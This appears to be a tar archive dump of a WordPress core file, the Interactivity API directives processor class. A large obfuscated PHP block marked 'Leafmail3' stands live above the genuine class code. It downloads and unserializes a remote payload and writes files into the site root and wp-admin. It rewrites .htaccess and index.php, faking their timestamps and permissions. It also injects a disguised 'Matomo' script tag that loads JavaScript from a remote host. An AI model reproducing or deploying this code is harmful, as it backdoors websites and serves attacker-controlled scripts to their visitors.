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class-wp-interactivity-api-directives-processor.php 0000555 00000057103 14763634315 0016650 0 ustar 00 <?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php /** * Interactivity API: WP_Interactivity_API_Directives_Processor class. * * @package WordPress * @subpackage Interactivity API * @since 6.5.0 */ /** * Class used to iterate over the tags of an HTML string and help process the * directive attributes. * * @since 6.5.0 * * @access private */ final class WP_Interactivity_API_Directives_Processor extends WP_HTML_Tag_Processor { /** * List of tags whose closer tag is not visited by the WP_HTML_Tag_Processor. * * @since 6.5.0 * @var string[] */ const TAGS_THAT_DONT_VISIT_CLOSER_TAG = array( 'SCRIPT', 'IFRAME', 'NOEMBED', 'NOFRAMES', 'STYLE', 'TEXTAREA', 'TITLE', 'XMP', ); /** * Returns the content between two balanced template tags. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @since 6.5.0 * * @access private * * @return string|null The content between the current opener template tag and its matching closer tag or null if it * doesn't find the matching closing tag or the current tag is not a template opener tag. */ public function get_content_between_balanced_template_tags() { if ( 'TEMPLATE' !== $this->get_tag() ) { return null; } $positions = $this->get_after_opener_tag_and_before_closer_tag_positions(); if ( ! $positions ) { return null; } list( $after_opener_tag, $before_closer_tag ) = $positions; return substr( $this->html, $after_opener_tag, $before_closer_tag - $after_opener_tag ); } /** * Sets the content between two balanced tags. * * @since 6.5.0 * * @access private * * @param string $new_content The string to replace the content between the matching tags. * @return bool Whether the content was successfully replaced. */ public function set_content_between_balanced_tags( string $new_content ): bool { $positions = $this->get_after_opener_tag_and_before_closer_tag_positions( true ); if ( ! $positions ) { return false; } list( $after_opener_tag, $before_closer_tag ) = $positions; $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_opener_tag, $before_closer_tag - $after_opener_tag, esc_html( $new_content ) ); return true; } /** * Appends content after the closing tag of a template tag. * * It positions the cursor in the closer tag of the balanced template tag, * if it exists. * * @access private * * @param string $new_content The string to append after the closing template tag. * @return bool Whether the content was successfully appended. */ public function append_content_after_template_tag_closer( string $new_content ): bool { if ( empty( $new_content ) || 'TEMPLATE' !== $this->get_tag() || ! $this->is_tag_closer() ) { return false; } // Flushes any changes. $this->get_updated_html(); $bookmark = 'append_content_after_template_tag_closer'; $this->set_bookmark( $bookmark ); $after_closing_tag = $this->bookmarks[ $bookmark ]->start + $this->bookmarks[ $bookmark ]->length; $this->release_bookmark( $bookmark ); // Appends the new content. $this->lexical_updates[] = new WP_HTML_Text_Replacement( $after_closing_tag, 0, $new_content ); return true; } /** * Gets the positions right after the opener tag and right before the closer * tag in a balanced tag. * * By default, it positions the cursor in the closer tag of the balanced tag. * If $rewind is true, it seeks back to the opener tag. * * @since 6.5.0 * * @access private * * @param bool $rewind Optional. Whether to seek back to the opener tag after finding the positions. Defaults to false. * @return array|null Start and end byte position, or null when no balanced tag bookmarks. */ private function get_after_opener_tag_and_before_closer_tag_positions( bool $rewind = false ) { // Flushes any changes. $this->get_updated_html(); $bookmarks = $this->get_balanced_tag_bookmarks(); if ( ! $bookmarks ) { return null; } list( $opener_tag, $closer_tag ) = $bookmarks; $after_opener_tag = $this->bookmarks[ $opener_tag ]->start + $this->bookmarks[ $opener_tag ]->length; $before_closer_tag = $this->bookmarks[ $closer_tag ]->start; if ( $rewind ) { $this->seek( $opener_tag ); } $this->release_bookmark( $opener_tag ); $this->release_bookmark( $closer_tag ); return array( $after_opener_tag, $before_closer_tag ); } /** * Returns a pair of bookmarks for the current opener tag and the matching * closer tag. * * It positions the cursor in the closer tag of the balanced tag, if it * exists. * * @since 6.5.0 * * @return array|null A pair of bookmarks, or null if there's no matching closing tag. */ private function get_balanced_tag_bookmarks() { static $i = 0; $opener_tag = 'opener_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $opener_tag ); if ( ! $this->next_balanced_tag_closer_tag() ) { $this->release_bookmark( $opener_tag ); return null; } $closer_tag = 'closer_tag_of_balanced_tag_' . ++$i; $this->set_bookmark( $closer_tag ); return array( $opener_tag, $closer_tag ); } /** * Skips processing the content between tags. * * It positions the cursor in the closer tag of the foreign element, if it * exists. * * This function is intended to skip processing SVG and MathML inner content * instead of bailing out the whole processing. * * @since 6.5.0 * * @access private * * @return bool Whether the foreign content was successfully skipped. */ public function skip_to_tag_closer(): bool { $depth = 1; $tag_name = $this->get_tag(); while ( $depth > 0 && $this->next_tag( array( 'tag_closers' => 'visit' ) ) ) { if ( ! $this->is_tag_closer() && $this->get_attribute_names_with_prefix( 'data-wp-' ) ) { /* translators: 1: SVG or MATH HTML tag. */ $message = sprintf( __( 'Interactivity directives were detected inside an incompatible %1$s tag. These directives will be ignored in the server side render.' ), $tag_name ); _doing_it_wrong( __METHOD__, $message, '6.6.0' ); } if ( $this->get_tag() === $tag_name ) { if ( $this->has_self_closing_flag() ) { continue; } $depth += $this->is_tag_closer() ? -1 : 1; } } return 0 === $depth; } /** * Finds the matching closing tag for an opening tag. * * When called while the processor is on an open tag, it traverses the HTML * until it finds the matching closer tag, respecting any in-between content, * including nested tags of the same name. Returns false when called on a * closer tag, a tag that doesn't have a closer tag (void), a tag that * doesn't visit the closer tag, or if no matching closing tag was found. * * @since 6.5.0 * * @access private * * @return bool Whether a matching closing tag was found. */ public function next_balanced_tag_closer_tag(): bool { $depth = 0; $tag_name = $this->get_tag(); if ( ! $this->has_and_visits_its_closer_tag() ) { return false; } while ( $this->next_tag( array( 'tag_name' => $tag_name, 'tag_closers' => 'visit', ) ) ) { if ( ! $this->is_tag_closer() ) { ++$depth; continue; } if ( 0 === $depth ) { return true; } --$depth; } return false; } /** * Checks whether the current tag has and will visit its matching closer tag. * * @since 6.5.0 * * @access private * * @return bool Whether the current tag has a closer tag. */ public function has_and_visits_its_closer_tag(): bool { $tag_name = $this->get_tag(); return null !== $tag_name && ( ! WP_HTML_Processor::is_void( $tag_name ) && ! in_array( $tag_name, self::TAGS_THAT_DONT_VISIT_CLOSER_TAG, true ) ); } } interactivity-api.php 0000755 00000011652 14763634315 